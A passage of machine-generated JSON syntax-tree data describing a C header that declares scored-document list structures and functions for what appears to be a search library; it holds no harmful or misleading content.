"start_point": {"row": 28, "column": 25}, "end_point": {"row": 28, "column": 26}}, {"id": 69, "type": "field_identifier", "text": "curr", "parent": 67, "children": [], "start_point": {"row": 28, "column": 27}, "end_point": {"row": 28, "column": 31}}, {"id": 70, "type": "field_declaration", "text": "int size;", "parent": 60, "children": [71, 72], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 11}}, {"id": 71, "type": "primitive_type", "text": "int", "parent": 70, "children": [], "start_point": {"row": 29, "column": 2}, "end_point": {"row": 29, "column": 5}}, {"id": 72, "type": "field_identifier", "text": "size", "parent": 70, "children": [], "start_point": {"row": 29, "column": 6}, "end_point": {"row": 29, "column": 10}}, {"id": 73, "type": "declaration", "text": "struct _score_docs*\nscore_docs_initial();", "parent": 0, "children": [74, 77], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 33, "column": 21}}, {"id": 74, "type": "struct_specifier", "text": "struct _score_docs", "parent": 73, "children": [75, 76], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 18}}, {"id": 75, "type": "struct", "text": "struct", "parent": 74, "children": [], "start_point": {"row": 32, "column": 0}, "end_point": {"row": 32, "column": 6}}, {"id": 76, "type": "type_identifier", "text": "_score_docs", "parent": 74, "children": [], "start_point": {"row": 32, "column": 7}, "end_point": {"row": 32, "column": 18}}, {"id": 77, "type": "pointer_declarator", "text": "*\nscore_docs_initial()", "parent": 73, "children": [78, 79], "start_point": {"row": 32, "column": 18}, "end_point": {"row": 33, "column": 20}}, {"id": 78, "type": "*", "text": "*", "parent": 77, "children": [], "start_point": {"row": 32, "column": 18}, "end_point": {"row": 32, "column": 19}}, {"id": 79, "type": "function_declarator", "text": "score_docs_initial()", "parent": 77, "children": [80, 81], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 20}}, {"id": 80, "type": "identifier", "text": "score_docs_initial", "parent": 79, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 18}}, {"id": 81, "type": "parameter_list", "text": "()", "parent": 79, "children": [], "start_point": {"row": 33, "column": 18}, "end_point": {"row": 33, "column": 20}}, {"id": 82, "type": "declaration", "text": "void\nscore_docs_add(struct _score_docs* _s, struct _score_doc* _data);", "parent": 0, "children": [83, 84], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 65}}, {"id": 83, "type": "primitive_type", "text": "void", "parent": 82, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 4}}, {"id": 84, "type": "function_declarator", "text": "score_docs_add(struct _score_docs* _s, struct _score_doc* _data)", "parent": 82, "children": [85, 86], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 64}}, {"id": 85, "type": "identifier", "text": "score_docs_add", "parent": 84, "children": [], "start_point": {"row": 36, "column": 0}, "end_point": {"row": 36, "column": 14}}, {"id": 86, "type": "parameter_list", "text": "(struct _score_docs* _s, struct _score_doc* _data)", "parent": 84, "children": [87, 94], "start_point": {"row": 36, "column": 14}, "end_point": {"row": 36, "column": 64}}, {"id": 87, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 86, "children": [88, 91], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 37}}, {"id": 88, "type": "struct_specifier", "text": "struct _score_docs", "parent": 87, "children": [89, 90], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 33}}, {"id": 89, "type": "struct", "text": "struct", "parent": 88, "children": [], "start_point": {"row": 36, "column": 15}, "end_point": {"row": 36, "column": 21}}, {"id": 90, "type": "type_identifier", "text": "_score_docs", "parent": 88, "children": [], "start_point": {"row": 36, "column": 22}, "end_point": {"row": 36, "column": 33}}, {"id": 91, "type": "pointer_declarator", "text": "* _s", "parent": 87, "children": [92, 93], "start_point": {"row": 36, "column": 33}, "end_point": {"row": 36, "column": 37}}, {"id": 92, "type": "*", "text": "*", "parent": 91, "children": [], "start_point": {"row": 36, "column": 33}, "end_point": {"row": 36, "column": 34}}, {"id": 93, "type": "identifier", "text": "_s", "parent": 91, "children": [], "start_point": {"row": 36, "column": 35}, "end_point": {"row": 36, "column": 37}}, {"id": 94, "type": "parameter_declaration", "text": "struct _score_doc* _data", "parent": 86, "children": [95, 98], "start_point": {"row": 36, "column": 39}, "end_point": {"row": 36, "column": 63}}, {"id": 95, "type": "struct_specifier", "text": "struct _score_doc", "parent": 94, "children": [96, 97], "start_point": {"row": 36, "column": 39}, "end_point": {"row": 36, "column": 56}}, {"id": 96, "type": "struct", "text": "struct", "parent": 95, "children": [], "start_point": {"row": 36, "column": 39}, "end_point": {"row": 36, "column": 45}}, {"id": 97, "type": "type_identifier", "text": "_score_doc", "parent": 95, "children": [], "start_point": {"row": 36, "column": 46}, "end_point": {"row": 36, "column": 56}}, {"id": 98, "type": "pointer_declarator", "text": "* _data", "parent": 94, "children": [99, 100], "start_point": {"row": 36, "column": 56}, "end_point": {"row": 36, "column": 63}}, {"id": 99, "type": "*", "text": "*", "parent": 98, "children": [], "start_point": {"row": 36, "column": 56}, "end_point": {"row": 36, "column": 57}}, {"id": 100, "type": "identifier", "text": "_data", "parent": 98, "children": [], "start_point": {"row": 36, "column": 58}, "end_point": {"row": 36, "column": 63}}, {"id": 101, "type": "declaration", "text": "struct _score_doc*\nscore_docs_get_curr(struct _score_docs* _s);", "parent": 0, "children": [102, 105], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 39, "column": 44}}, {"id": 102, "type": "struct_specifier", "text": "struct _score_doc", "parent": 101, "children": [103, 104], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 17}}, {"id": 103, "type": "struct", "text": "struct", "parent": 102, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 104, "type": "type_identifier", "text": "_score_doc", "parent": 102, "children": [], "start_point": {"row": 38, "column": 7}, "end_point": {"row": 38, "column": 17}}, {"id": 105, "type": "pointer_declarator", "text": "*\nscore_docs_get_curr(struct _score_docs* _s)", "parent": 101, "children": [106, 107], "start_point": {"row": 38, "column": 17}, "end_point": {"row": 39, "column": 43}}, {"id": 106, "type": "*", "text": "*", "parent": 105, "children": [], "start_point": {"row": 38, "column": 17}, "end_point": {"row": 38, "column": 18}}, {"id": 107, "type": "function_declarator", "text": "score_docs_get_curr(struct _score_docs* _s)", "parent": 105, "children": [108, 109], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 43}}, {"id": 108, "type": "identifier", "text": "score_docs_get_curr", "parent": 107, "children": [], "start_point": {"row": 39, "column": 0}, "end_point": {"row": 39, "column": 19}}, {"id": 109, "type": "parameter_list", "text": "(struct _score_docs* _s)", "parent": 107, "children": [110], "start_point": {"row": 39, "column": 19}, "end_point": {"row": 39, "column": 43}}, {"id": 110, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 109, "children": [111, 114], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 42}}, {"id": 111, "type": "struct_specifier", "text": "struct _score_docs", "parent": 110, "children": [112, 113], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 38}}, {"id": 112, "type": "struct", "text": "struct", "parent": 111, "children": [], "start_point": {"row": 39, "column": 20}, "end_point": {"row": 39, "column": 26}}, {"id": 113, "type": "type_identifier", "text": "_score_docs", "parent": 111, "children": [], "start_point": {"row": 39, "column": 27}, "end_point": {"row": 39, "column": 38}}, {"id": 114, "type": "pointer_declarator", "text": "* _s", "parent": 110, "children": [115, 116], "start_point": {"row": 39, "column": 38}, "end_point": {"row": 39, "column": 42}}, {"id": 115, "type": "*", "text": "*", "parent": 114, "children": [], "start_point": {"row": 39, "column": 38}, "end_point": {"row": 39, "column": 39}}, {"id": 116, "type": "identifier", "text": "_s", "parent": 114, "children": [], "start_point": {"row": 39, "column": 40}, "end_point": {"row": 39, "column": 42}}, {"id": 117, "type": "declaration", "text": "struct _score_doc*\nscore_docs_get_index(struct _score_docs* _s, int _index);", "parent": 0, "children": [118, 121], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 42, "column": 57}}, {"id": 118, "type": "struct_specifier", "text": "struct _score_doc", "parent": 117, "children": [119, 120], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 17}}, {"id": 119, "type": "struct", "text": "struct", "parent": 118, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 6}}, {"id": 120, "type": "type_identifier", "text": "_score_doc", "parent": 118, "children": [], "start_point": {"row": 41, "column": 7}, "end_point": {"row": 41, "column": 17}}, {"id": 121, "type": "pointer_declarator", "text": "*\nscore_docs_get_index(struct _score_docs* _s, int _index)", "parent": 117, "children": [122, 123], "start_point": {"row": 41, "column": 17}, "end_point": {"row": 42, "column": 56}}, {"id": 122, "type": "*", "text": "*", "parent": 121, "children": [], "start_point": {"row": 41, "column": 17}, "end_point": {"row": 41, "column": 18}}, {"id": 123, "type": "function_declarator", "text": "score_docs_get_index(struct _score_docs* _s, int _index)", "parent": 121, "children": [124, 125], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 56}}, {"id": 124, "type": "identifier", "text": "score_docs_get_index", "parent": 123, "children": [], "start_point": {"row": 42, "column": 0}, "end_point": {"row": 42, "column": 20}}, {"id": 125, "type": "parameter_list", "text": "(struct _score_docs* _s, int _index)", "parent": 123, "children": [126, 133], "start_point": {"row": 42, "column": 20}, "end_point": {"row": 42, "column": 56}}, {"id": 126, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 125, "children": [127, 130], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 43}}, {"id": 127, "type": "struct_specifier", "text": "struct _score_docs", "parent": 126, "children": [128, 129], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 39}}, {"id": 128, "type": "struct", "text": "struct", "parent": 127, "children": [], "start_point": {"row": 42, "column": 21}, "end_point": {"row": 42, "column": 27}}, {"id": 129, "type": "type_identifier", "text": "_score_docs", "parent": 127, "children": [], "start_point": {"row": 42, "column": 28}, "end_point": {"row": 42, "column": 39}}, {"id": 130, "type": "pointer_declarator", "text": "* _s", "parent": 126, "children": [131, 132], "start_point": {"row": 42, "column": 39}, "end_point": {"row": 42, "column": 43}}, {"id": 131, "type": "*", "text": "*", "parent": 130, "children": [], "start_point": {"row": 42, "column": 39}, "end_point": {"row": 42, "column": 40}}, {"id": 132, "type": "identifier", "text": "_s", "parent": 130, "children": [], "start_point": {"row": 42, "column": 41}, "end_point": {"row": 42, "column": 43}}, {"id": 133, "type": "parameter_declaration", "text": "int _index", "parent": 125, "children": [134, 135], "start_point": {"row": 42, "column": 45}, "end_point": {"row": 42, "column": 55}}, {"id": 134, "type": "primitive_type", "text": "int", "parent": 133, "children": [], "start_point": {"row": 42, "column": 45}, "end_point": {"row": 42, "column": 48}}, {"id": 135, "type": "identifier", "text": "_index", "parent": 133, "children": [], "start_point": {"row": 42, "column": 49}, "end_point": {"row": 42, "column": 55}}, {"id": 136, "type": "declaration", "text": "void\nscore_docs_rm_curr(struct _score_docs* _s);", "parent": 0, "children": [137, 138], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 45, "column": 43}}, {"id": 137, "type": "primitive_type", "text": "void", "parent": 136, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 4}}, {"id": 138, "type": "function_declarator", "text": "score_docs_rm_curr(struct _score_docs* _s)", "parent": 136, "children": [139, 140], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 42}}, {"id": 139, "type": "identifier", "text": "score_docs_rm_curr", "parent": 138, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 18}}, {"id": 140, "type": "parameter_list", "text": "(struct _score_docs* _s)", "parent": 138, "children": [141], "start_point": {"row": 45, "column": 18}, "end_point": {"row": 45, "column": 42}}, {"id": 141, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 140, "children": [142, 145], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 41}}, {"id": 142, "type": "struct_specifier", "text": "struct _score_docs", "parent": 141, "children": [143, 144], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 37}}, {"id": 143, "type": "struct", "text": "struct", "parent": 142, "children": [], "start_point": {"row": 45, "column": 19}, "end_point": {"row": 45, "column": 25}}, {"id": 144, "type": "type_identifier", "text": "_score_docs", "parent": 142, "children": [], "start_point": {"row": 45, "column": 26}, "end_point": {"row": 45, "column": 37}}, {"id": 145, "type": "pointer_declarator", "text": "* _s", "parent": 141, "children": [146, 147], "start_point": {"row": 45, "column": 37}, "end_point": {"row": 45, "column": 41}}, {"id": 146, "type": "*", "text": "*", "parent": 145, "children": [], "start_point": {"row": 45, "column": 37}, "end_point": {"row": 45, "column": 38}}, {"id": 147, "type": "identifier", "text": "_s", "parent": 145, "children": [], "start_point": {"row": 45, "column": 39}, "end_point": {"row": 45, "column": 41}}, {"id": 148, "type": "declaration", "text": "void\nscore_docs_destory(struct _score_docs* _s);", "parent": 0, "children": [149, 150], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 48, "column": 43}}, {"id": 149, "type": "primitive_type", "text": "void", "parent": 148, "children": [], "start_point": {"row": 47, "column": 0}, "end_point": {"row": 47, "column": 4}}, {"id": 150, "type": "function_declarator", "text": "score_docs_destory(struct _score_docs* _s)", "parent": 148, "children": [151, 152], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 42}}, {"id": 151, "type": "identifier", "text": "score_docs_destory", "parent": 150, "children": [], "start_point": {"row": 48, "column": 0}, "end_point": {"row": 48, "column": 18}}, {"id": 152, "type": "parameter_list", "text": "(struct _score_docs* _s)", "parent": 150, "children": [153], "start_point": {"row": 48, "column": 18}, "end_point": {"row": 48, "column": 42}}, {"id": 153, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 152, "children": [154, 157], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 41}}, {"id": 154, "type": "struct_specifier", "text": "struct _score_docs", "parent": 153, "children": [155, 156], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 37}}, {"id": 155, "type": "struct", "text": "struct", "parent": 154, "children": [], "start_point": {"row": 48, "column": 19}, "end_point": {"row": 48, "column": 25}}, {"id": 156, "type": "type_identifier", "text": "_score_docs", "parent": 154, "children": [], "start_point": {"row": 48, "column": 26}, "end_point": {"row": 48, "column": 37}}, {"id": 157, "type": "pointer_declarator", "text": "* _s", "parent": 153, "children": [158, 159], "start_point": {"row": 48, "column": 37}, "end_point": {"row": 48, "column": 41}}, {"id": 158, "type": "*", "text": "*", "parent": 157, "children": [], "start_point": {"row": 48, "column": 37}, "end_point": {"row": 48, "column": 38}}, {"id": 159, "type": "identifier", "text": "_s", "parent": 157, "children": [], "start_point": {"row": 48, "column": 39}, "end_point": {"row": 48, "column": 41}}, {"id": 160, "type": "declaration", "text": "void\nscore_docs_clear(struct _score_docs* _s);", "parent": 0, "children": [161, 162], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 51, "column": 41}}, {"id": 161, "type": "primitive_type", "text": "void", "parent": 160, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 4}}, {"id": 162, "type": "function_declarator", "text": "score_docs_clear(struct _score_docs* _s)", "parent": 160, "children": [163, 164], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 40}}, {"id": 163, "type": "identifier", "text": "score_docs_clear", "parent": 162, "children": [], "start_point": {"row": 51, "column": 0}, "end_point": {"row": 51, "column": 16}}, {"id": 164, "type": "parameter_list", "text": "(struct _score_docs* _s)", "parent": 162, "children": [165], "start_point": {"row": 51, "column": 16}, "end_point": {"row": 51, "column": 40}}, {"id": 165, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 164, "children": [166, 169], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 39}}, {"id": 166, "type": "struct_specifier", "text": "struct _score_docs", "parent": 165, "children": [167, 168], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 35}}, {"id": 167, "type": "struct", "text": "struct", "parent": 166, "children": [], "start_point": {"row": 51, "column": 17}, "end_point": {"row": 51, "column": 23}}, {"id": 168, "type": "type_identifier", "text": "_score_docs", "parent": 166, "children": [], "start_point": {"row": 51, "column": 24}, "end_point": {"row": 51, "column": 35}}, {"id": 169, "type": "pointer_declarator", "text": "* _s", "parent": 165, "children": [170, 171], "start_point": {"row": 51, "column": 35}, "end_point": {"row": 51, "column": 39}}, {"id": 170, "type": "*", "text": "*", "parent": 169, "children": [], "start_point": {"row": 51, "column": 35}, "end_point": {"row": 51, "column": 36}}, {"id": 171, "type": "identifier", "text": "_s", "parent": 169, "children": [], "start_point": {"row": 51, "column": 37}, "end_point": {"row": 51, "column": 39}}, {"id": 172, "type": "declaration", "text": "void\nscore_docs_print(struct _score_docs* _s);", "parent": 0, "children": [173, 174], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 54, "column": 41}}, {"id": 173, "type": "primitive_type", "text": "void", "parent": 172, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 4}}, {"id": 174, "type": "function_declarator", "text": "score_docs_print(struct _score_docs* _s)", "parent": 172, "children": [175, 176], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 40}}, {"id": 175, "type": "identifier", "text": "score_docs_print", "parent": 174, "children": [], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 16}}, {"id": 176, "type": "parameter_list", "text": "(struct _score_docs* _s)", "parent": 174, "children": [177], "start_point": {"row": 54, "column": 16}, "end_point": {"row": 54, "column": 40}}, {"id": 177, "type": "parameter_declaration", "text": "struct _score_docs* _s", "parent": 176, "children": [178, 181], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 39}}, {"id": 178, "type": "struct_specifier", "text": "struct _score_docs", "parent": 177, "children": [179, 180], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 35}}, {"id": 179, "type": "struct", "text": "struct", "parent": 178, "children": [], "start_point": {"row": 54, "column": 17}, "end_point": {"row": 54, "column": 23}}, {"id": 180, "type": "type_identifier", "text": "_score_docs", "parent": 178, "children": [], "start_point": {"row": 54, "column": 24}, "end_point": {"row": 54, "column": 35}}, {"id": 181, "type": "pointer_declarator", "text": "* _s", "parent": 177, "children": [182, 183], "start_point": {"row": 54, "column": 35}, "end_point": {"row": 54, "column": 39}}, {"id": 182, "type": "*", "text": "*", "parent": 181, "children": [], "start_point": {"row": 54, "column": 35}, "end_point": {"row": 54, "column": 36}}, {"id": 183, "type": "identifier", "text": "_s", "parent": 181, "children": [], "start_point": {"row": 54, "column": 37}, "end_point": {"row": 54, "column": 39}}, {"id": 184, "type": "struct_specifier", "text": "struct _top_docs\n{\n int total_hits;\n struct _sort_field* fields;\n struct _score_docs* score_docs;\n}", "parent": 0, "children": [185, 186], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 61, "column": 1}}, {"id": 185, "type": "struct", "text": "struct", "parent": 184, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 6}}, {"id": 186, "type": "type_identifier", "text": "_top_docs", "parent": 184, "children": [], "start_point": {"row": 56, "column": 7}, "end_point": {"row": 56, "column": 16}}, {"id": 187, "type": "field_declaration", "text": "int total_hits;", "parent": 184, "children": [188, 189], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 58, "column": 17}}, {"id": 188, "type": "primitive_type", "text": "int", "parent": 187, "children": [], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 58, "column": 5}}, {"id": 189, "type": "field_identifier", "text": "total_hits", "parent": 187, "children": [], "start_point": {"row": 58, "column": 6}, "end_point": {"row": 58, "column": 16}}, {"id": 190, "type": "field_declaration", "text": "struct _sort_field* fields;", "parent": 184, "children": [191, 194], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 29}}, {"id": 191, "type": "struct_specifier", "text": "struct _sort_field", "parent": 190, "children": [192, 193], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 20}}, {"id": 192, "type": "struct", "text": "struct", "parent": 191, "children": [], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 8}}, {"id": 193, "type": "type_identifier", "text": "_sort_field", "parent": 191, "children": [], "start_point": {"row": 59, "column": 9}, "end_point": {"row": 59, "column": 20}}, {"id": 194, "type": "pointer_declarator", "text": "* fields", "parent": 190, "children": [195, 196], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 28}}, {"id": 195, "type": "*", "text": "*", "parent": 194, "children": [], "start_point": {"row": 59, "column": 20}, "end_point": {"row": 59, "column": 21}}, {"id": 196, "type": "field_identifier", "text": "fields", "parent": 194, "children": [], "start_point": {"row": 59, "column": 22}, "end_point": {"row": 59, "column": 28}}, {"id": 197, "type": "field_declaration", "text": "struct _score_docs* score_docs;", "parent": 184, "children": [198, 201], "start_point": {"row": 60, "column": 2}, "end_point": {"row": 60, "column": 33}}, {"id": 198, "type": "struct_specifier", "text": "struct _score_docs", "parent": 197, "children": [199, 200], "start_point": {"row": 60, "column": 2}, "end_point": {"row": 60, "column": 20}}, {"id": 199, "type": "struct", "text": "struct", "parent": 198, "children": [], "start_point": {"row": 60, "column": 2}, "end_point": {"row": 60, "column": 8}}, {"id": 200, "type": "type_identifier", "text": "_score_docs", "parent": 198, "children": [], "start_point": {"row": 60, "column": 9}, "end_point": {"row": 60, "column": 20}}, {"id": 201, "type": "pointer_declarator", "text": "* score_docs", "parent": 197, "children": [202, 203], "start_point": {"row": 60, "column": 20}, "end_point": {"row": 60, "column": 32}}, {"id": 202, "type": "*", "text": "*", "parent": 201, "children": [], "start_point": {"row": 60, "column": 20}, "end_point": {"row": 60, "column": 21}}, {"id": 203, "type": "field_identifier", "text": "score_docs", "parent": 201, "children": [], "start_point": {"row": 60, "column": 22}, "end_point": {"row": 60, "column": 32}}, {"id": 204, "type": "declaration", "text": "struct _top_docs*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs);", "parent": 0, "children": [205, 208], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 64, "column": 64}}, {"id": 205, "type": "struct_specifier", "text": "struct _top_docs", "parent": 204, "children": [206, 207], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 16}}, {"id": 206, "type": "struct", "text": "struct", "parent": 205, "children": [], "start_point": {"row": 63, "column": 0}, "end_point": {"row": 63, "column": 6}}, {"id": 207, "type": "type_identifier", "text": "_top_docs", "parent": 205, "children": [], "start_point": {"row": 63, "column": 7}, "end_point": {"row": 63, "column": 16}}, {"id": 208, "type": "pointer_declarator", "text": "*\ntop_docs_initial(int _total_hits, struct _score_docs* _sc_docs)", "parent": 204, "children": [209, 210], "start_point": {"row": 63, "column": 16}, "end_point": {"row": 64, "column": 63}}, {"id": 209, "type": "*", "text": "*", "parent": 208, "children": [], "start_point": {"row": 63, "column": 16}, "end_point": {"row": 63, "column": 17}}, {"id": 210, "type": "function_declarator", "text": "top_docs_initial(int _total_hits, struct _score_docs* _sc_docs)", "parent": 208, "children": [211, 212], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 63}}, {"id": 211, "type": "identifier", "text": "top_docs_initial", "parent": 210, "children": [], "start_point": {"row": 64, "column": 0}, "end_point": {"row": 64, "column": 16}}, {"id": 212, "type": "parameter_list", "text": "(int _total_hits, struct _score_docs* _sc_docs)", "parent": 210, "children": [213, 216], "start_point": {"row": 64, "column": 16}, "end_point": {"row": 64, "column": 63}}, {"id": 213, "type": "parameter_declaration", "text": "int _total_hits", "parent": 212, "children": [214, 215], "start_point": {"row": 64, "column": 17}, "end_point": {"row": 64, "column": 32}}, {"id": 214, "type": "primitive_type", "text": "int", "parent": 213, "children": [], "start_point": {"row": 64, "column": 17}, "end_point": {"row": 64, "column": 20}}, {"id": 215, "type": "identifier", "text": "_total_hits", "parent": 213, "children": [], "start_point": {"row": 64, "column": 21}, "end_point": {"row": 64, "column": 32}}, {"id": 216, "type": "parameter_declaration", "text": "struct _score_docs* _sc_docs", "parent": 212, "children": [217, 220], "start_point": {"row": 64, "column": 34}, "end_point": {"row": 64, "column": 62}}, {"id": 217, "type": "struct_specifier", "text": "struct _score_docs", "parent": 216, "children": [218, 219], "start_point": {"row": 64, "column": 34}, "end_point": {"row": 64, "column": 52}}, {"id": 218, "type": "struct", "text": "struct", "parent": 217, "children": [], "start_point": {"row": 64, "column": 34}, "end_point": {"row": 64, "column": 40}}, {"id": 219, "type": "type_identifier", "text": "_score_docs", "parent": 217, "children": [], "start_point": {"row": 64, "column": 41}, "end_point": {"row": 64, "column": 52}}, {"id": 220, "type": "pointer_declarator", "text": "* _sc_docs", "parent": 216, "children": [221, 222], "start_point": {"row": 64, "column": 52}, "end_point": {"row": 64, "column": 62}}, {"id": 221, "type": "*", "text": "*", "parent": 220, "children": [], "start_point": {"row": 64, "column": 52}, "end_point": {"row": 64, "column": 53}}, {"id": 222, "type": "identifier", "text": "_sc_docs", "parent": 220, "children": [], "start_point": {"row": 64, "column": 54}, "end_point": {"row": 64, "column": 62}}, {"id": 223, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 66, "column": 0}, "end_point": {"row": 66, "column": 6}}]}, "node_categories": {"declarations": {"functions": [24, 79, 84, 107, 123, 138, 150, 162, 174, 210], "variables": [12, 15, 18, 27, 30, 36, 43, 50, 57, 63, 70, 73, 82, 87, 94, 101, 110, 117, 126, 133, 136, 141, 148, 153, 160, 165, 172, 177, 187, 190, 197, 204, 213, 216], "classes": [9, 10, 19, 20, 33, 34, 37, 38, 44, 45, 51, 52, 60, 61, 64, 65, 74, 75, 88, 89, 95, 96, 102, 103, 111, 112, 118, 119, 127, 128, 142, 143, 154, 155, 166, 167, 178, 179, 184, 185, 191, 192, 198, 199, 205, 206, 217, 218], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 11, 14, 17, 21, 25, 29, 32, 35, 39, 42, 46, 49, 53, 56, 59, 62, 66, 69, 72, 76, 80, 85, 90, 93, 97, 100, 104, 108, 113, 116, 120, 124, 129, 132, 135, 139, 144, 147, 151, 156, 159, 163, 168, 171, 175, 180, 183, 186, 189, 193, 196, 200, 203, 207, 211, 215, 219, 222, 223], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 24, "universal_type": "function", "name": "unknown", "text_snippet": "score_doc_initial(int _doc, float _score)"}, {"node_id": 79, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_initial()"}, {"node_id": 84, "universal_type": "function", "name": "_score_doc*", "text_snippet": "score_docs_add(struct _score_docs* _s, struct _score_doc* _data)"}, {"node_id": 107, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_get_curr(struct _score_docs* _s)"}, {"node_id": 123, "universal_type": "function", "name": "_index)", "text_snippet": "score_docs_get_index(struct _score_docs* _s, int _index)"}, {"node_id": 138, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_rm_curr(struct _score_docs* _s)"}, {"node_id": 150, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_destory(struct _score_docs* _s)"}, {"node_id": 162, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_clear(struct _score_docs* _s)"}, {"node_id": 174, "universal_type": "function", "name": "unknown", "text_snippet": "score_docs_print(struct _score_docs* _s)"}, {"node_id": 210, "universal_type": "function", "name": "_score_docs*", "text_snippet": "top_docs_initial(int _total_hits, struct _score_docs* _sc_docs)"}], "class_declarations": [{"node_id": 9, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc\n{\n int doc;\n float score;\n}"}, {"node_id": 10, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 19, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc"}, {"node_id": 20, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 33, "universal_type": "class", "name": "_score_docs_node", "text_snippet": "struct _score_docs_node\n{\n struct _score_docs_node* next;\n struct _score_docs_node* prev;\n struct"}, {"node_id": 34, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 37, "universal_type": "class", "name": "_score_docs_node", "text_snippet": "struct _score_docs_node"}, {"node_id": 38, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 44, "universal_type": "class", "name": "_score_docs_node", "text_snippet": "struct _score_docs_node"}, {"node_id": 45, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 51, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc"}, {"node_id": 52, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 60, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs\n{\n struct _score_docs_node* curr;\n int size;\n}"}, {"node_id": 61, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 64, "universal_type": "class", "name": "_score_docs_node", "text_snippet": "struct _score_docs_node"}, {"node_id": 65, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 74, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 75, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 88, "universal_type": "class", "name": "_score_docs", "text_snippet": "struct _score_docs"}, {"node_id": 89, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 95, "universal_type": "class", "name": "_score_doc", "text_snippet": "struct _score_doc"}, {"node_id": 96, "universal_type": 